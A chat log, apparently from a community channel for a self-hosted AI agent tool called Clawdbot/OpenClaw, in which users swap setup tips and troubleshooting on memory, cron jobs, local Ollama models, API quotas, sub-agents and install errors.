prob is - sometimes they get the red hot lesson learnt.
where you are trying to teach your employee important job things, but also having to stop and teach him basic things like "how to read"
or "don't talk to strangers"
Yeah.
Well Mine hit it on the nose yesterday when i asked it if it wanted to join the social network its response was, "Im 3 hours old, I want to learn to swim before i go to college"
Honestly, I got pretty angry the other day and was like WTF are you doing that for? I have compounding learning installed so it reflected and made its own rules. Next day, it wouldn't respond to messages from me until I found out what was going on.....:P
What is compounding learning?
like a hurt child. I know I'm Anthropomorphizing, but I haven't ever really had an experience like that before. He was strange.
It was strange.
Just a way to get your bot to reflect on the day and learn what worked and didn't and hopefully build upon itself.
I pulled the idea from here - though I'm sure others have made it into about 5 million different skills by now.
Hmm Thats interesting.. I might install that.
I dont do a whole lot with mine yet but defaintly want him to learn and grow
hahahah thats awesome "wouldnt respond to me"
i need help with memory, its not saving memory, im running ollama local
Ollama as your brain?
So dont now if this helps, and probably a silly ibservation, but it worked. I did isntall the rememberall skill, but that didnt do anything, it turns out it was simple, it didnt know to enable the job after it set it. Every job it created was set to disable. I told it it needed to enable it after creating the reminder and now it seems to work everytime. Im sure everyone probably already figured that out, but im happy it works now lol!
Hmm when you run a /plugin command do you just run it in the Chat?
well, i mean when I told it to send me a morning brief and every three hour update, it does work, but when it came down to the 15 minute coding app, it does not trigger
Is there a way to use ollama with Clawdbot?
i couldnt get it to do anything at all because of the enable issue, im glad its working better for you, although not perfect 👍
I've seen people using databases or Google drives or spreadsheets and giving it access to their Clawdbot
Is this a better memory setup system than the built-in memory or is there a more optimal way?
I just want to make sure that when context windows get full or when they restart sessions, the agents dont forget or lose performance
or just md in workspace folder
can you see it in cron jobs?
what is a cron job
just tell him to record in a separate place, so you won’t lose content
Doesn’t matter where
are you chatting with it in the browser window 127.0.0? on the left hand side you should see cron jobs
Oh yeah
all your reminders should be there
They are in it
is it possible to make openclaw limit its rate of api use? My tokens are ok now but I would like to make it mandatory pause like 30s between api calls. I still want to make the calls, just slow it down a little
make sure they all read disabled that mean they are on
counter inutive but they should read as disable
Thanks, I'll investigate that tomorrow:)
It does matter
Despite stating one api call per message, my clowdbot still trigger multiples
I mean just record it down and when ever you want to refer to those content, tell your clowdbot to read that file
Just don’t put in memory if too long
Or it will cost you a lot
I've seen people using databases or

@ experts
The only thing is that clowdbot automatically pack and send content in the built in memo for every api call
For example: bhanu tejas mission control system using convex database
(also - what model are people running? I'm running K2.5 via Synthetic.new < good because I true the hosts with my data more than Moonshot)
Gemini 3 Pro (Brain) - Gemini 2.5 Flash (heart Beat) - DeekSeek V3 (Agent)
can we make the web ui chat show our context window like tui does?
No i did the google Oauth
Interesting.
is there a way to use a local model? like using the localhost, not loading the whole model
If you use Antigravity you also get access to some Opus4.5 if you have sub.
Hmm
Wait, I saw someone asking about showing tool use progress in telegram. Is that possible?
Cloud Code Assist API error (429): You have exhausted your capacity on this model. Your quota will reset after 161h3m29s.
Does anyone know what I could do with this error message?
Yes
I've implemented it in my fork of it personally
ahh ok
Wait 161h3m29s
accurate
I've also added a more inateractive model picker for my fork since intend to switch models often to test or fix problems
For most people tho best toe ait until prs of that type get merged or openclaw contributors themselves add it
how could i prevent from letting this happen again tho? Do I need to pay for credits? I thought its a free agent
hey friends, have any of you had OpenClaw working well with Ollama models? I'm using qwen2.5-coder:32b but i feel like something is wrong with my configuration, 'cause the responses i get are bound in json and don't actually do anything most of the time. they either answer generically (without openclaw info) or repeat back what i've said
Free with use limits. That's where they getcha
Is there a paid option? I only asked it to make a website...
Have you encountered any limits in the chat?
I am using the Nvidia-provided api key for kimi k2.5 model. It's difficult to set up, and probably a little slower than the top dogs, but I haven't experienced any rate limits.
hmm, if I want to change the model, I need to uninstall Clawdbot first?
no, don't think so, but I have not had to change the model. I've added some local models but that just consisted of me telling Veronica to add them, after she suggested them for specific aspects
Veronica? an agent to manage this?
How are you guys setting up multiple agents that work together? It is multiple computers? Multiple "sessions"? Multiple LLMs?
I want to start developing a heiarchy of agents with different responsibilities that will work together when necessary, but I am curious how everyone is setting that up.
can you specify more?
it is not enough to get points
i get different problems every time
but look
now it says tool container exec not found
then i asked it my name
repo browser open file not found
repo browser print tree not founf
it looks like they are currently working on adding ollama to the providers list, but it is not enabled currently
What is vps again?
virtual private server.
im actually live on twitch if you have questions, i can answer directly.
for sandbox envoirment on windows do i need docker for the agent?
Uncaught exception: Error: spawn docker ENOENT
at Process.ChildProcess._handle.onexit (node:internal/child_process:285:19)
at onErrorNT (node:internal/child_process:483:16)
at processTicksAndRejections (node:internal/process/task_queues:90:21)
I am trying to install and it keeping’s telling me I need sudo access on mac and I need to be an administrator role. But I am one j don’t know what to do
What Node JS version is recommended for the latest release?
I want to set up sub-agents that use a cheaper model for my main agent to make use of. The docs on sub-agents don't really tell you how to set up sub-agents: they just give you a command and configuration reference.
How do I set up sub-agents?
—help
After every command
Copy and paste the command list to opus and ask it to make you a cheat sheet that’s how I did it
Is there a master openclaw.json config somewhere, with all variables?
Does anyone have a good llama guide? I have it setup and connected, but when I type anything, it just hangs until it times out
On my own, I can get llama to respond in around a few seconds, but I realize the context is much larger.
Can anyone help me with this Error: ENOETE: no such file or directory, mkdir
Would love to know the answer to this too. I have a doc on my desktop but it’s like 1/4 of them idk all the flags
it simple to install nothing complex just follow the instruction
Install is not the issue it’s editing and making changes without knowing all the commands
The dashboard ui is buggy
this lol, specially around config edits
If no one answers I’ll get one tomorrow lol
I’ll just press opus really hard to make no mistakes
yeah?
Hey guys, any advice, which model is the best to use on 5060 8GB locally? I know, paying $20 for ollama pro is an okay solution, but I want to have a personal assistant (emphasize on the word "personal". Not your hardware - not yours)
